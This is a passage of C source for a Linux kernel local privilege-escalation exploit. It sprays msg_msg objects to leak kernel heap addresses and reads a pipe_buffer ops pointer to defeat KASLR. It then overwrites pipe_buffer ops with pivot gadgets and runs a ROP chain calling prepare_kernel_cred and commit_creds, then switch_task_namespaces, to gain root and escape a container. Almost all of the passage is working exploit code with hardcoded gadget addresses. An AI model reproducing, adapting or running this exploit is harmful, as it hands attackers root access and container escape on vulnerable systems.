        small_msg_msg_addr = payload[59];
    }
    else if (payload[122] && payload[123]){
        large_msg_msg_addr = payload[122];
        small_msg_msg_addr = payload[123];
    }
    else if (payload[186] && payload[187]){
        large_msg_msg_addr = payload[186];
        small_msg_msg_addr = payload[187];
    }
    else if (payload[250] && payload[251]){
        large_msg_msg_addr = payload[250];
        small_msg_msg_addr = payload[251];
    }
    else if (payload[314] && payload[315]){
        large_msg_msg_addr = payload[314];
        small_msg_msg_addr = payload[315];
    }
    else if (payload[378] && payload[379]){
        large_msg_msg_addr = payload[378];
        small_msg_msg_addr = payload[379];
    }

    if(!large_msg_msg_addr || !small_msg_msg_addr){
        err(1, "fail to leak msg_msg...");
    }
    printf("[+] 4k-sized msg_msg addr : 0x%llx\n", large_msg_msg_addr);
    printf("[+] 1k-sized msg_msg addr : 0x%llx\n", small_msg_msg_addr);
    
    // switch the cpu immidiatly, 
    // so that we doesn't touch the corrupted freelist anymore
    //set_cpu_affinity(1, 0);
    //sleep(1);

    // re-reclaim with msg_msgseg to trigger free of 64-sized msg_msg
    printf("[+] re-reclaim for 1k slab leak!\n");
    memset(buf, 0, sizeof(buf));
    buf_ptr = (uintptr_t)buf - 48;
    // write the fake size
    *(uintptr_t *)(buf_ptr + 0x1000) = 0; // mlist.prev
	*(uintptr_t *)(buf_ptr + 0x1000 + 8) = 2; // m_type
    *(uintptr_t *)(buf_ptr + 0x1000 + 0x10) = 0x1380; // m_ts
    *(uintptr_t *)(buf_ptr + 0x1000 + 0x18) = small_msg_msg_addr + 0x400 - 48; // msg_msg->data + 0x400 - 48 == msg_msgseg!

    // PG_SIZE - sizeof(struct msg_msg) - TARGET_SIZE - sizeof(struct msg_msgseg)
    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqid3, msg, 1, 1, IPC_NOWAIT | MSG_NOERROR);
	if(ret < 0) perror("msgrcv");
    if(send_msg(msgqid3, buf, 0x1000 + (LEAK_MSG_MSG_SIZE - 0x10) - 48 - 8, 1) < 0)
        perror("msgsnd");

    // we have leak now
    // populate the lk-sized cg cache to prevent crash
    for(size_t i = 20; i < BARRIOR_MSG_MSG_SPRAY_CNT; i++){
        memset(msg_buf, 0, sizeof(msg_buf));
        ret = msgrcv(msgqids2[i], msg, sizeof(msg_buf), 2, IPC_NOWAIT);
        if(ret < 0)
            err(1, "msgrcv");
	}

    int upper_msg_msg_holder = -1;
    int lower_msg_msg_holder = -1;
    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    printf("[*] overlapped by msg_msgseg again : size %d\n", ret);
    payload = (uintptr_t *)msg->mtext;
    //for(size_t i = 0; i < ret / 8; i ++){
    //    printf("%d : 0x%llx\n", i, payload[i]);
    //}
    upper_msg_msg_holder = msgqids2[payload[510]];
    printf("[*] 1k-sized upper msg_msg is holded by %dth msgq (msgq %d)\n", payload[510], upper_msg_msg_holder);
    // remove from spray list
    msgqids2[payload[510]] = -1;


    lower_msg_msg_holder = msgqids2[payload[518]];
    printf("[*] 1k-sized lower msg_msg is holded by %dth msgq (msgq %d)\n", payload[518], lower_msg_msg_holder);
    // remove from spray list
    msgqids2[payload[518]] = -1;


    // we have leak now. populate the 1k sized cache immidiatly
    // ...so that kernel whould not crash
    for(size_t i = 10; i < BARRIOR_MSG_MSG_SPRAY_CNT; i++){
        memset(msg_buf, 0, sizeof(msg_buf));
        if(msgqids2[i] < 0) continue;
        ret = msgrcv(msgqids2[i], msg, sizeof(msg_buf), 2, IPC_NOWAIT);
        //if(ret < 0)
        //    err(1, "msgrcv");
	}

    // release the msg_msg below for locating pipe_buffer on it
    //memset(msg_buf, 0, sizeof(msg_buf));
	//ret = msgrcv(pipe_buffer_msg_msg_holder, msg, sizeof(msg_buf), 0, IPC_NOWAIT);
	//if(ret < 0) perror("msgrcv");;

    // spray the pipe_buffer
    // hope it'll not touch freelist...

    // now we can read pipe_buffer to get KASLR leak!
    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    payload = (uintptr_t *)msg->mtext;
    //for(size_t i = 0; i < ret / 8; i ++){
    //    printf("%d : 0x%llx\n", i, payload[i]);
    //}

    // release the lower msg_msg and spray pipe_buf
    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(lower_msg_msg_holder, msg, sizeof(msg_buf), 0, IPC_NOWAIT);
	if(ret < 0) perror("msgrcv");

    for(int i = 0; i < 0x100; i++){
        if (pipe(pipefd[i]) < 0)
            err(1, "pipe()");
        write(pipefd[i][1], "aaaaaaaa", 8);
    }

    uintptr_t kaslr_slide = -1;
    uintptr_t anon_pipe_buf_ops_addr = -1;
//#define ANON_PIPE_BUF_OPS 0xffffffff82a04e00
#define ANON_PIPE_BUF_OPS  0xffffffff82a04ac0
//0xffffffff818ca79b : push rsi ; jmp qword ptr [rsi + 0x39]
#define PIVOT_GADGET 0xffffffff818ca79b
//0xffffffff81404820 : pop rsp ; ret
#define PIVOT_GADGET2 0xffffffff81404820

#define PREPARE_KERNEL_CRED 0xffffffff811139d0
#define COMMIT_CREDS 0xffffffff811136f0
#define SWITCH_TASK_NAMESPACES 0xffffffff81111c80
#define FIND_TASK_BY_VPID 0xffffffff8110a0d0
#define RET2USERMODE (0xffffffff82201090  + 0x99)
#define POP_RDI_RET 0xffffffff8102764d
#define POP_RSI_RET 0xffffffff810fb7dd
#define POP_RCX_RET 0xffffffff811e3633
//0xffffffff818aaa46 : push rax ; jmp qword ptr [rsi - 0x7f]
#define PUSH_RAX_JMP_QPTR_RSI 0xffffffff818aaa46 

// not sure
#define INIT_TASK 0xffffffff836159c0
#define INIT_NSPROXY 0xffffffff83661680

    memset(msg_buf, 0, sizeof(msg_buf));
	ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
	if(ret < 0) perror("msgrcv");
    payload = (uintptr_t *)msg->mtext;
    //for(size_t i = 500; i < ret / 8; i ++){
    //    printf("%d : 0x%llx\n", i, payload[i]);
    //}

    anon_pipe_buf_ops_addr = payload[513];
    //if((anon_pipe_buf_ops_addr & 0xfff) != (ANON_PIPE_BUF_OPS & 0xfff)){
    //    err(1, "fail to leak kaslr...");
    //}   
    printf("[+] anon_pipe_buf_ops_addr : %p\n", anon_pipe_buf_ops_addr);
    kaslr_slide = anon_pipe_buf_ops_addr - ANON_PIPE_BUF_OPS;
    printf("[+] kaslr slide : %p\n", kaslr_slide);

    // now release the upper msg_msg and overwrite the pipe_ops
    memset(buf, 0, sizeof(buf));
    buf_ptr = (uintptr_t)buf;
    // write the fake pipe_buffer
/*
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};
*/  
    uintptr_t pipe_buffer_addr = small_msg_msg_addr + 0x400;
    *(uintptr_t *)(buf_ptr) = PIVOT_GADGET2 + kaslr_slide; // page
    *(uintptr_t *)(buf_ptr + 8) = pipe_buffer_addr + 0x50; // offset / len
    *(uintptr_t *)(buf_ptr + 0x10) = pipe_buffer_addr + 0x18; // ops
    *(uintptr_t *)(buf_ptr + 0x18) = PIVOT_GADGET + kaslr_slide; // fake func
    *(uintptr_t *)(buf_ptr + 0x20) = PIVOT_GADGET + kaslr_slide; // fake func
    *(uintptr_t *)(buf_ptr + 0x28) = PIVOT_GADGET + kaslr_slide; // fake func

    *(uintptr_t *)(buf_ptr + 0x39) = PIVOT_GADGET2 + kaslr_slide;
    
    uintptr_t *gadget_start = (uintptr_t *)(buf_ptr + 0x50);
    int idx = 0;
    gadget_start[idx++] = POP_RDI_RET + kaslr_slide;
    gadget_start[idx++] = INIT_TASK + kaslr_slide;
    gadget_start[idx++] = PREPARE_KERNEL_CRED + kaslr_slide;

    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = pipe_buffer_addr + 0x200 + 0x7f;
    gadget_start[idx++] = PUSH_RAX_JMP_QPTR_RSI + kaslr_slide;
    gadget_start[idx++] = COMMIT_CREDS + kaslr_slide;

    gadget_start[idx++] = POP_RDI_RET + kaslr_slide;
    gadget_start[idx++] = 1;
    gadget_start[idx++] = FIND_TASK_BY_VPID + kaslr_slide;

    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = pipe_buffer_addr + 0x200 + 0x7f;
    gadget_start[idx++] = PUSH_RAX_JMP_QPTR_RSI + kaslr_slide;
    gadget_start[idx++] = POP_RSI_RET + kaslr_slide;
    gadget_start[idx++] = INIT_NSPROXY + kaslr_slide;
    gadget_start[idx++] = SWITCH_TASK_NAMESPACES + kaslr_slide;

    gadget_start[idx++] = RET2USERMODE + kaslr_slide;
    gadget_start[idx++] = 0;
    gadget_start[idx++] = 0;
    save_state();
    // for prevent xmm segfault
    rsp &= ~0xf;
    rsp += 8;
    gadget_start[idx++] = post_exploit;
    gadget_start[idx++] = cs;
    gadget_start[idx++] = rflags;
    gadget_start[idx++] = rsp;
    gadget_start[idx++] = ss;
    

    *(uintptr_t *)(buf_ptr + 0x200) = POP_RDI_RET + kaslr_slide;

    memset(msg_buf, 0, sizeof(msg_buf));
    sleep(1);
	ret = msgrcv(msgqids1[0], msg, 1, 0, IPC_NOWAIT | MSG_NOERROR);
	if(ret < 0) perror("msgrcv");
    payload = (uintptr_t *)msg->mtext;

    // reclaim unaligned 1k msg_msg quickly!
    spray_msgsnd(msgqids2, 0x100, 0x400 - 48, buf, 1, 3);

    int i;
    printf("[+] will start with gadget addr %p\n", PIVOT_GADGET + kaslr_slide);
    //printf("[+] type any number to go!\n");
    //scanf("%d", &i);
    

    // and trigger ROP!
    for(int i = 0; i < 0x100; i++){
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }
    
	mnl_socket_close(nl);

    sleep(1000);
}